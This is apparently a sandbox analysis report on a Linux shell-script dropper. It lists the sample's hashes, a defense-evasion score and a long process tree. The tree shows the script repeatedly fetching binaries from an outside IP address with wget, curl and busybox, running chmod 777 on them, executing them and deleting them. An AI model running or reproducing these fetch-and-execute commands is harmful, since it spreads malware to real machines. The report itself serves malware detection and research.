e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a

Analysis

max time kernel
20s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/10/2024, 05:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
Size 10KB
Sample241027-f489cssjel
SHA256 e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a
MD5 efcaffc585454240b3996a21cf89ba81
SHA1 e50e8dd97c2cb9a7316233c63fe11db4e5f0f10a
SHA512 47cbef3ab26c4d66ec60f3c44a8553b76d17d64ec6f071f39d3c9c727f30a490333a6afffb6c9c255eda9979b1390e6e160faa5dc44b58bbfc23c4a57ed4c10e
SSDEEP 192:Jybggd81MlUCUyUtUEUmFUof7CPoggd8HeUCUyUtUEUmFUx:Jybggd81MC9fWAggd8HFy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1519	chmod
1585	chmod
1603	chmod
1609	chmod
1663	chmod
1525	chmod
1579	chmod
1657	chmod
1512	chmod
1597	chmod
1615	chmod
1645	chmod
1669	chmod
1573	chmod
1591	chmod
1621	chmod
1633	chmod
1506	chmod
1531	chmod
1639	chmod
1537	chmod
1543	chmod
1627	chmod
1561	chmod
1567	chmod
1651	chmod
1549	chmod
1555	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl

/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
1⤵
PID:1497
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1499
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1505
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1509
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1511
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:1513
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1518
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:1520
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1524
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:1526
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1528
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1530
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:1532
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1533
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1534
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1536
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:1538
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1542
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:1544
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1546
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1548
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:1550
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1552
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1554
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:1556
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1558
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1560
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:1562
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1564
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1566
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:1568
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1569
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1570
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1572
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:1574
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1576
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1578
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:1580
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1582
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1584
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:1586
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1587
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1588
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1590
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:1591
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:1592
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:1593
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1594
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1596
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:1597
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:1598
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1600
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1602
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:1604
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:1605
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1606
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1608
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:1609
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:1610
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:1611
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1612
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Writes file to tmp directory
  PID:1613
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1614
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:1615
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:1616
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:1617
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1618
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1620
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:1622
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:1623
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1624
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Writes file to tmp directory
  PID:1625
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1626
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:1627
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:1628
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:1629
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1630
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Writes file to tmp directory
  PID:1631
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1632
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:1634
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:1635
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1636
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Writes file to tmp directory
  PID:1637
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1638
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:1639
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:1640
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:1641
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1642
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1644
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:1646
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:1647
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1648
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1650
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:1652
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:1653
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1654
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Writes file to tmp directory
  PID:1655
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1656
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:1657
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:1658
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:1659
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1660
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Writes file to tmp directory
  PID:1661
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1662
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:1663
